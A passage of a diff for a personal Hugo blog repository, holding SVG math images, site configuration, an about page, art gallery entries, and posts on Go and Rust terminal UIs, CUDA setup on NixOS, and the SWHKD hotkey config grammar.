9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(4429.7,0)"><g data-mml-node="mn" transform="translate(220,676)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mn" transform="translate(220,-686)"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><rect width="700" height="60" x="120" y="220"></rect></g><g data-mml-node="mo" transform="translate(5591.9,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(6592.1,0)"><g data-mml-node="mrow" transform="translate(220,676)"><g data-mml-node="mn"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><g data-mml-node="mi" transform="translate(500,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g><g data-mml-node="mn" transform="translate(434.5,-686)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><rect width="1129" height="60" x="120" y="220"></rect></g></g></g></svg>
|
||||
|
After Width: | Height: | Size: 4.7 KiB |
2
assets/volcano-expression-6.svg
Normal file
@@ -0,0 +1,2 @@
|
||||
<svg style="vertical-align: -1.602ex" xmlns="http://www.w3.org/2000/svg" width="12.149ex" height="4.701ex" role="img" focusable="false" viewBox="0 -1370 5369.7 2078">
|
||||
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(1055.8,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(1707,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(2707.2,0)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><g data-mml-node="mo" transform="translate(3429.4,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(4429.7,0)"><g data-mml-node="mi" transform="translate(255.5,676)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(220,-686)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><rect width="700" height="60" x="120" y="220"></rect></g></g></g></svg>
|
||||
|
After Width: | Height: | Size: 3.2 KiB |
2
assets/volcano-expression-7.svg
Normal file
@@ -0,0 +1,2 @@
|
||||
<svg style="vertical-align: -1.602ex" xmlns="http://www.w3.org/2000/svg" width="6.024ex" height="4.701ex" role="img" focusable="false" viewBox="0 -1370 2662.4 2078">
|
||||
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><g data-mml-node="mo" transform="translate(722.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(1722.4,0)"><g data-mml-node="mi" transform="translate(255.5,676)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(220,-686)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><rect width="700" height="60" x="120" y="220"></rect></g></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.2 KiB |
2
assets/volcano-expression-8.svg
Normal file
|
After Width: | Height: | Size: 9.6 KiB |
2
assets/volcano-expression-9.svg
Normal file
|
After Width: | Height: | Size: 8.2 KiB |
35
config.yaml
Normal file
@@ -0,0 +1,35 @@
|
||||
baseURL: https://lavafroth.is-a.dev/
|
||||
pageinate: 5
|
||||
relativeURLs: true
|
||||
languageCode: en-us
|
||||
title: lavafroth
|
||||
theme: paprika
|
||||
taxonomies:
|
||||
tag: tags
|
||||
menu:
|
||||
main:
|
||||
- identifier: art
|
||||
name: art
|
||||
url: /art/
|
||||
- identifier: about
|
||||
name: about
|
||||
url: /about/
|
||||
params:
|
||||
description: "Hacker. Artist."
|
||||
socials:
|
||||
- platform: github
|
||||
url: https://github.com/lavafroth
|
||||
markup:
|
||||
highlight:
|
||||
anchorLineNos: false
|
||||
codeFences: true
|
||||
guessSyntax: false
|
||||
hl_Lines: ""
|
||||
hl_inline: false
|
||||
lineAnchors: ""
|
||||
lineNos: false
|
||||
lineNumbersInTable: true
|
||||
noClasses: true
|
||||
noHl: false
|
||||
style: monokai
|
||||
tabWidth: 4
|
||||
53
content/about.md
Normal file
@@ -0,0 +1,53 @@
|
||||
---
|
||||
title: "whoami"
|
||||
draft: false
|
||||
date: 2022-07-23T19:11:10+05:30
|
||||
---
|
||||
|
||||
Hi, this is Himadri. I'm a self taught programmer and a digital artist.
|
||||
You might have arrived here from [my YouTube channel](https://youtube.com/@lavafroth) or my open source work.
|
||||
I'm doing a bachelors in data science at IITM.
|
||||
|
||||
I'm decent with programming languages like C and Java, the latter of which was
|
||||
taught in school. I'm *great* at writing Golang and Rust. I render my YouTube
|
||||
videos with Python and the manim framework, so I'd argue I'm competent at it
|
||||
as well.
|
||||
|
||||
I have been daily driving various Linux distributions since 2016. For the past few years,
|
||||
I have settled with NixOS. It is stable enough, incredibly versatile
|
||||
and lets me declaratively configure all my setups.
|
||||
|
||||
Most of my work is open source and under the public domain. If you find value in them,
|
||||
consider contributing to them or donating.
|
||||
|
||||
Thank you to all the institutions and non-profit
|
||||
organizations such as [Khan Academy](https://khanacademy.org),
|
||||
who provide [OpenCourseWare](https://en.wikipedia.org/wiki/OpenCourseWare) and make education accessible.
|
||||
|
||||
## Certifications
|
||||
|
||||
Petty things recruiters seem to care about.
|
||||
|
||||
[](https://summerofcode.withgoogle.com/programs/2024/projects/qkFDwSOk)
|
||||
|
||||
[](https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6X9OWVY0HI.png)
|
||||
|
||||
[](https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-HOXLPGFBZN.png)
|
||||
|
||||
[](https://certificates.cs50.io/c7c6fbaa-40da-4c14-846d-d4fd01c1bd6f.png?size=letter)
|
||||
|
||||
[](https://certificates.cs50.io/fba1bdc0-0604-4623-8224-17b2bd9ee5db.png?size=letter)
|
||||
|
||||
[](https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-deep-learning)
|
||||
|
||||
[](https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-machine-learning)
|
||||
|
||||
[](https://www.kaggle.com/learn/certification/himadribhattacharjee/intermediate-machine-learning)
|
||||
|
||||
[](https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-game-ai-and-reinforcement-learning)
|
||||
|
||||
## Send me a private message
|
||||
|
||||
You can send me a private message by encrypting it with my
|
||||
[public SSH keys](https://api.github.com/users/lavafroth/keys)
|
||||
and mailing it to [107522312+lavafroth@users.noreply.github.com](mailto:107522312+lavafroth@users.noreply.github.com).
|
||||
10
content/art/_index.md
Normal file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
title: "Art"
|
||||
layout: "gallery"
|
||||
---
|
||||
|
||||
All the art I make is licensed under [Creative Commons
|
||||
Attribution-ShareAlike 4.0 International
|
||||
license](https://creativecommons.org/licenses/by-sa/4.0/legalcode) unless
|
||||
specified otherwise. Please read the legal code before redistributing, adapting
|
||||
or remixing them.
|
||||
13
content/art/amateur-blender-sculpture.md
Normal file
@@ -0,0 +1,13 @@
|
||||
---
|
||||
title: "Amateur Blender Sculpture"
|
||||
date: 2024-08-03T17:50:00+05:30
|
||||
image: "/nichole-sebastian-render-0.avif"
|
||||
layout: "artpiece"
|
||||
draft: false
|
||||
---
|
||||
|
||||
This is my first time trying out sculpting in blender, so forgive me for the
|
||||
quality of the sculpt. I'm still pretty much in the learning stage. Big thank
|
||||
you to [Nichole Sebastian](https://www.pexels.com/@nichole-sebastian-1592975/)
|
||||
for the reference photo. Also apologies if the empty eye sockets gave you a
|
||||
jumpscare.
|
||||
9
content/art/drowning.md
Normal file
@@ -0,0 +1,9 @@
|
||||
---
|
||||
title: "Drowning"
|
||||
date: 2024-06-18T09:30:00+05:30
|
||||
image: "/drowning.avif"
|
||||
layout: "artpiece"
|
||||
draft: false
|
||||
---
|
||||
|
||||
A cyborg head sinking in a pool of water. What more did you expect? [Here's a timelapse](https://www.youtube.com/watch?v=lVbPXxq0xzg).
|
||||
10
content/art/netrunner.md
Normal file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
title: "Netrunner"
|
||||
date: 2022-09-11T09:30:00+05:30
|
||||
image: "/netrunner.avif"
|
||||
layout: "artpiece"
|
||||
draft: false
|
||||
---
|
||||
|
||||
This piece takes heavy inspiration from Mirror's Edge, Cyberpunk Edgerunners,
|
||||
Ergo Proxy and the like, things that gave me a sense of the term *Netrunner*.
|
||||
10
content/art/nixchan.md
Normal file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
title: "Nix Chan - Redraw"
|
||||
date: 2024-01-21T09:30:00+05:30
|
||||
image: "/nixchan_nu.png"
|
||||
layout: "artpiece"
|
||||
draft: false
|
||||
---
|
||||
|
||||
The waifu NixOS users deserve.
|
||||
Fun fact, this is a redraw after my dad (real artist btw) told me that the original piece had the anatomy messed up. Enjoy!
|
||||
9
content/art/shes-a-rebel.md
Normal file
@@ -0,0 +1,9 @@
|
||||
---
|
||||
title: "She's a Rebel"
|
||||
date: 2022-04-17T17:01:44+05:30
|
||||
image: "/shes-a-rebel.png"
|
||||
layout: "artpiece"
|
||||
draft: false
|
||||
---
|
||||
|
||||
Clearly the title was an afterthought.
|
||||
11
content/art/thiserror.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
title: "This Error"
|
||||
date: 2024-06-18T09:30:00+05:30
|
||||
image: "/this_error.png"
|
||||
layout: "artpiece"
|
||||
draft: false
|
||||
---
|
||||
|
||||
My first hand drawn YouTube thumbnail, I'm thinking of continuing to use
|
||||
_lawyer ferris_ as my mascot both due to ferris being in the public domain
|
||||
as well as the sheer memeworthiness of my original creation. 🤣
|
||||
10
content/art/tyler-joseph-portrait.md
Normal file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
title: "Truce"
|
||||
date: 2022-07-23T19:07:32+05:30
|
||||
image: "/truce.png"
|
||||
layout: artpiece
|
||||
draft: false
|
||||
---
|
||||
|
||||
A painting of the lead vocalist of Twenty Øne Piløts, named
|
||||
after one of my favorite songs from their album Vessel.
|
||||
9
content/art/wip-animation.md
Normal file
@@ -0,0 +1,9 @@
|
||||
---
|
||||
title: "WIP Animation"
|
||||
date: 2024-01-19T09:30:00+05:30
|
||||
image: "/throwing-knives.gif"
|
||||
layout: "artpiece"
|
||||
draft: false
|
||||
---
|
||||
|
||||
A little \*work in progress\* animation trying to emulate realistic motions. Thank you [Polina Tankilevitch](https://www.pexels.com/@polina-tankilevitch/) for the [reference video](https://www.pexels.com/video/a-young-woman-showing-her-skill-in-dancing-5385879/).
|
||||
94
content/post/2-afternoons-2-languages-2-tuis.md
Normal file
@@ -0,0 +1,94 @@
|
||||
---
|
||||
title: "2 Afternoons, 2 Languages, 2 TUIs"
|
||||
date: 2024-05-23T18:37:47+05:30
|
||||
draft: false
|
||||
tags:
|
||||
- Rust
|
||||
- Go
|
||||
- Terminal
|
||||
- UI
|
||||
- YouTube
|
||||
- Animation
|
||||
- Manim
|
||||
---
|
||||
|
||||
Yesterday I created a tool in Golang to help me render my animations a little
|
||||
faster. Although the alterior reason was to check my Golang proficiency, today
|
||||
I rewrote it in Rust and I was blown away by the differences in the final
|
||||
products.
|
||||
|
||||
When I'm rendering animations for a YouTube video, the general development
|
||||
iteration comprises me creating or modifying a file, switching to a different
|
||||
terminal pane and manually issuing a _manim_ command for the respective file to
|
||||
render and play the animation. My goal was to automate the last two processes,
|
||||
switching terminal panes and manually issuing a command. The idea is to have a
|
||||
tool running in the background that listens for filesystem events, like when a
|
||||
file gets created or modified, and if the file happens to contain an animation,
|
||||
renders it. On linux systems, it's mostly a bunch of bindings to `inotify` but I
|
||||
have used platform agnostic libraries for both the languages.
|
||||
|
||||
There are also a few knobs that can be turned when it comes to rendering these
|
||||
animations. Arguably the most important one among them is the quality parameter.
|
||||
A bulk of my development cycles are spent rendering animations at a low quality
|
||||
and previewing them for feedback. Once I'm satisfied with the animation, I tend
|
||||
to create a high quality render for sanity checks as well as for placing them on
|
||||
the final project timeline.
|
||||
|
||||
Since I'm working solo for now without editors and peer animators, there's
|
||||
no race condition as to which animation gets rendered first it two files are
|
||||
modified at the same time.
|
||||
|
||||
The Go version took me around 6 hours to finish. The Rust version fared at
|
||||
a maximum of 4 hours. The Go tool should have taken less time compared to
|
||||
the Rust tool because I used the [CharmBracelet](https://charm.sh) stack
|
||||
including [BubbleTea](https://github.com/charmbracelet/bubbletea), [Bubbles]
|
||||
(https://github.com/charmbracelet/bubbles) and [LipGloss](https://github.com/charmbracelet/lipgloss).
|
||||
For those who are unaware, _BubbleTea_ uses the Elm
|
||||
architecture for rendering and I have already worked on a GUI project that
|
||||
employs the Elm architecture.
|
||||
|
||||
For the Rust side, I went with [ratatui](https://github.com/ratatui-org/ratatui)
|
||||
with a few libraries like [tui-term](https://github.com/a-kenji/tui-term) and [tui-explorer](https://github.com/tatounee/ratatui-explorer) for scaffolding.
|
||||
_tui-term_ enabled me to easily spawn a pseudo terminal session in a pane
|
||||
inside the current program and _ratatui-explorer_ was useful for a quick and easy
|
||||
file explorer.
|
||||
|
||||
The Go version had pretty things like modals and popups akin to a GUI application. In some sense, it felt more beginner friendly.
|
||||
|
||||

|
||||
|
||||
I had this strikingly different mindset when I was developing the Rust version. Knowing that my hands are chained to the keyboard and that I don't need a mouse,
|
||||
I designed the Rust version to be more keyboard centric. Using the `tab` or arrow keys to move around? No thank you, `hjkl` is fine by me.
|
||||
|
||||

|
||||
|
||||
Focus on buttons and then hit enter to perform actions? Nah, key chords are faster. For this version, I chose the minimalist route, taking subtle inspirations from helix.
|
||||
|
||||
Helix has a feature akin to the `whichkey` plugin for `neovim` where if you press a key like `g` and wait, it shows you what keys to press next for related actions.
|
||||
For the `g` example, it would say that you can press `g` again to go to the file's start, `e` to go the file's end and so on.
|
||||
|
||||

|
||||
|
||||
The Rust tool has a single pane at the center which displays the output of _manim_ commands that get executed. A to status line describes the current working directory and the current render quality.
|
||||
Lastly, there's a bottom legend that tells you what key chord you can chain next for a particular action. For example, you start a key chord by pressing `space`,
|
||||
then you can press `q` to enter the context of setting the render quality. Finally you can press keys like `l` for 480p, `m` for `720p`, `h` for 1080p and so on.
|
||||
|
||||

|
||||
|
||||
The last point in favor of the second architecture is how the key chords solidify in my muscle memory. After using it for just a few minutes,
|
||||
I'm already incredibly (blazingly) fast at it. Compare that to the more polished design of the first, where using `tab`s and arrow keys always feels hit or miss.
|
||||
|
||||
It's incredibly fascinating how a change in the language made a perceptible
|
||||
difference in the architecture of the final products. However, I don't think
|
||||
this is necessarily a fault of _BubbleTea_ or any of the other _CharmBracelet_
|
||||
products. Rather, it's a fault in my perception of the languages. I've always
|
||||
thought of Go as a loosey-goosey language because it feels like Python with more
|
||||
sanity and less magic. When I'm building a Golang tool, it feels like I'm making
|
||||
a paper plane whereas building a Rust tool feels like using magnalum to build an
|
||||
actual airplane.
|
||||
|
||||
With that said, if you're a beginner and `Arc<RwLock<T>>` gave you a jumpscare, it might be worth sticking with Golang _CharmBracelet_ stack, it's simple and can take you pretty far.
|
||||
If you're good with Rust, don't sleep on _ratatui_. It's way better than how I remember it from a couple years ago. If you're interested
|
||||
in the code, check out the Go project ~[here](https://github.com/lavafroth/hackermanim-tui)~ (the repository is no longer available, so you just have to take my word for it) and the Rust project [here](https://github.com/lavafroth/hm).
|
||||
|
||||
Until next time, remember, Rust is 2 fast 2 furious.
|
||||
146
content/post/CUDA-on-nixos-without-sacrificing-ones-sanity.md
Normal file
@@ -0,0 +1,146 @@
|
||||
---
|
||||
title: "Painlessly setting up ML tooling on NixOS"
|
||||
date: 2024-08-10T08:18:30+05:30
|
||||
tags:
|
||||
- Nix
|
||||
- NixOS
|
||||
- Machine Learning
|
||||
- Python
|
||||
- Workflow
|
||||
- NVIDIA
|
||||
- CUDA
|
||||
- Rant
|
||||
draft: false
|
||||
---
|
||||
|
||||
> Note: The method described in this article should only be used if you wish to have the latest version of CUDA that is
|
||||
not yet available in the cuda-maintainers cache, otherwise follow [this](https://app.cachix.org/cache/cuda-maintainers#pull).
|
||||
|
||||
> *TL;DR:* Save [this flake](#the-flake), run `nix develop` and [setup PyTorch as described](#setting-up-pytorch)
|
||||
|
||||
[CUDA](https://en.wikipedia.org/wiki/CUDA) is a proprietary vendor lock-in for machine learning folks.
|
||||
Training ML models is incredibly fast with CUDA as compared to CPUs due to the parallel
|
||||
processing. So if you're doing something serious, you have no other choice besides CUDA as of writing.
|
||||
Although, OpenAI's Triton and ZLUDA are worth keeping an eye on.
|
||||
|
||||
Unlike your average distro, Nix will store its packages and libraries (derivations) in the Nix store instead of
|
||||
locations like `/usr/bin`, `/usr/lib` and `/usr/lib64`. [This essentially prevents conflicts between installed packages](https://zero-to-nix.com/concepts/nix-store).
|
||||
|
||||
# How not to add CUDA
|
||||
|
||||
CUDA, being proprietary junk, does not allow you to redistribute
|
||||
binaries that are linked with its blobs. Thus, for CUDA enabled PyTorch, we would have to [allow unfree
|
||||
packages and enable CUDA support](https://discourse.nixos.org/t/pytorch-and-cuda-torch-not-compiled-with-cuda-enabled/11272/2).
|
||||
|
||||
```nix
|
||||
import sources.nixpkgs {
|
||||
config = {
|
||||
allowUnfree = true;
|
||||
cudaSupport = true;
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
Adding this to our `flake.nix` allows us the include these packages:
|
||||
- `linuxPackages.nvidia_x11`
|
||||
- `cudatoolkit`
|
||||
- `cudnn`
|
||||
|
||||
Now we can install PyTorch by either adding
|
||||
- `python311Packages.pytorch` to build PyTorch from source with CUDA support. This will take time longer than the heat death of the universe and more likely freeze low end PCs.
|
||||
Refer to [this hackernews post](https://news.ycombinator.com/item?id=32931486).
|
||||
- `python311Packages.pytorch-bin` which some people claim to have slightly faster builds at it
|
||||
fetches the PyTorch binary from pytorch.org and patches it with the CUDA from `/nix/store`.
|
||||
Refer to [this reddit post](https://www.reddit.com/r/NixOS/comments/195pzdb/speeding_up_python311packagestorchwithcuda_build/).
|
||||
|
||||
Both of these approaches are extremely slow, you might have to leave your PC overnight to actually get it to work.
|
||||
|
||||
# Bending the rules
|
||||
|
||||
To avoid all of the pain, we can build a lightweight sandbox that follows the normal Filesystem Hierarchy Standard with directories like `/usr/bin`, `/usr/lib`, etc.
|
||||
Nix allows you to create such isolated root filesystems using the [`pkgs.buildFHSEnv`](https://ryantm.github.io/nixpkgs/builders/special/fhs-environments/) function.
|
||||
|
||||
It accepts a `name` for the environment and a list of `targetPkgs` with the things we'd need for basic NVIDIA support.
|
||||
Note the inclusion of `micromamba` which will do most of the legwork when setting up PyTorch.
|
||||
I've also included the `fish` shell because that's what I daily drive. You can remove that and the `runScript` attribute
|
||||
to use the default bash.
|
||||
|
||||
## The flake
|
||||
|
||||
```nix
|
||||
{
|
||||
description = "Python 3.11 development environment";
|
||||
outputs = { self, nixpkgs }:
|
||||
let
|
||||
system = "x86_64-linux";
|
||||
pkgs = import nixpkgs {
|
||||
inherit system;
|
||||
config.allowUnfree = true;
|
||||
};
|
||||
in {
|
||||
devShells.${system}.default = (pkgs.buildFHSEnv {
|
||||
name = "nvidia-fuck-you";
|
||||
targetPkgs = pkgs: (with pkgs; [
|
||||
linuxPackages.nvidia_x11
|
||||
libGLU libGL
|
||||
xorg.libXi xorg.libXmu freeglut
|
||||
xorg.libXext xorg.libX11 xorg.libXv xorg.libXrandr zlib
|
||||
ncurses5 stdenv.cc binutils
|
||||
ffmpeg
|
||||
|
||||
# I daily drive the fish shell
|
||||
# you can remove this, the default is bash
|
||||
fish
|
||||
|
||||
# Micromamba does the real legwork
|
||||
micromamba
|
||||
]);
|
||||
|
||||
profile = ''
|
||||
export LD_LIBRARY_PATH="${pkgs.linuxPackages.nvidia_x11}/lib"
|
||||
export CUDA_PATH="${pkgs.cudatoolkit}"
|
||||
export EXTRA_LDFLAGS="-L/lib -L${pkgs.linuxPackages.nvidia_x11}/lib"
|
||||
export EXTRA_CCFLAGS="-I/usr/include"
|
||||
'';
|
||||
|
||||
# again, you can remove this if you like bash
|
||||
runScript = "fish";
|
||||
}).env;
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
> *Note:* This is _NOT_ the same as containers. The most obvious way to tell is because
|
||||
you can access your NVIDIA GPU as is, without any passthrough shenanigans.
|
||||
|
||||
Enter this flake development environment using `nix develop`.
|
||||
|
||||
# Setting up PyTorch
|
||||
|
||||
Now that we have the scaffolding, we can use `micromamba` to install CUDA for our ML tooling.
|
||||
|
||||
```sh
|
||||
micromamba env create \
|
||||
-n my-environment \
|
||||
anaconda::cudatoolkit \
|
||||
anaconda::cudnn \
|
||||
"anaconda::pytorch=*=*cuda*"
|
||||
```
|
||||
|
||||
Here I'm creating an environment called `my-environment` with `cudatoolkit`, `cudnn` and PyTorch. While installing PyTorch, make sure to
|
||||
pick a version whose name contains "cuda" like I did here, otherwise, it defaults to the CPU version.
|
||||
|
||||
You can also define a `micromamba` environment with a config file. Read more about it [here](https://conda.io/projects/conda/en/latest/user-guide/manage-environments.html).
|
||||
|
||||
Once the env gets created, use `micromamba activate my-environment` to hop right in. Profit!
|
||||
|
||||
# Conclusion
|
||||
|
||||
Although this is not the Nix way of doing things with micromamba able to be used imeperatively, this is probably the quickest
|
||||
and most hassle free experience to start ML stuff on NixOS. I've seen quite a lot of people on both the internet and in real life
|
||||
giving up on NixOS because of how annoying closed source libraries like CUDA can be.
|
||||
|
||||
Share this article around if you found this hacky approach to have improved your developer experience. I'm banking on open source alternatives to pick up steam
|
||||
so that hopefully this article becomes irrelevant in the future.
|
||||
|
||||
Bye now.
|
||||
157
content/post/a-sweet-little-config-parser.md
Normal file
@@ -0,0 +1,157 @@
|
||||
---
|
||||
title: "A SWEET Little Parser"
|
||||
date: 2024-05-17T07:52:44+05:30
|
||||
tags:
|
||||
- Wayland
|
||||
- Rust
|
||||
- SWHKD
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
draft: false
|
||||
---
|
||||
|
||||
A few days ago, I had announced my project for this year's Google Summer of Code. Today I'll
|
||||
be explanding upon that. I believe that to construct a good grammar, I should be able to understand
|
||||
and explain it well. So here goes.
|
||||
|
||||
## General Idea
|
||||
|
||||
SWHKD's grammar parser, although similar to tools before it like sxhkd, has a more coherent
|
||||
syntax. For starters, every binding declaration is one or more accelerators followed by a composite key.
|
||||
|
||||
The line following the binding declaration must be a tab or space indented command to be run by the client.
|
||||
|
||||
Here's a simple example to send a notification to myself using `libnotify` when I press `Super` `a`.
|
||||
|
||||
```
|
||||
super + a
|
||||
notify-send "bazinga!"
|
||||
```
|
||||
|
||||
We can also issue multiline commands like we do in a normal shell by adding a bare backslash to the end
|
||||
of each line. For example, the following binding checks if we have an Arduino connected and only then
|
||||
sends a notification.
|
||||
|
||||
```
|
||||
super + a
|
||||
ls /dev/ttyACM0 && \
|
||||
notify-send "bazinga arduino baby!"
|
||||
```
|
||||
|
||||
This means we must ignore any trailing escaped line feeds and consider the two lines separated by them
|
||||
as one.
|
||||
|
||||
Should be pretty simple right? Well, brace yourself for some added complexity: introducing shorthands!
|
||||
|
||||
## Shorthands
|
||||
|
||||
When it comes to bindings, a shorthand is two or more keys separated by commas inside curly braces.
|
||||
|
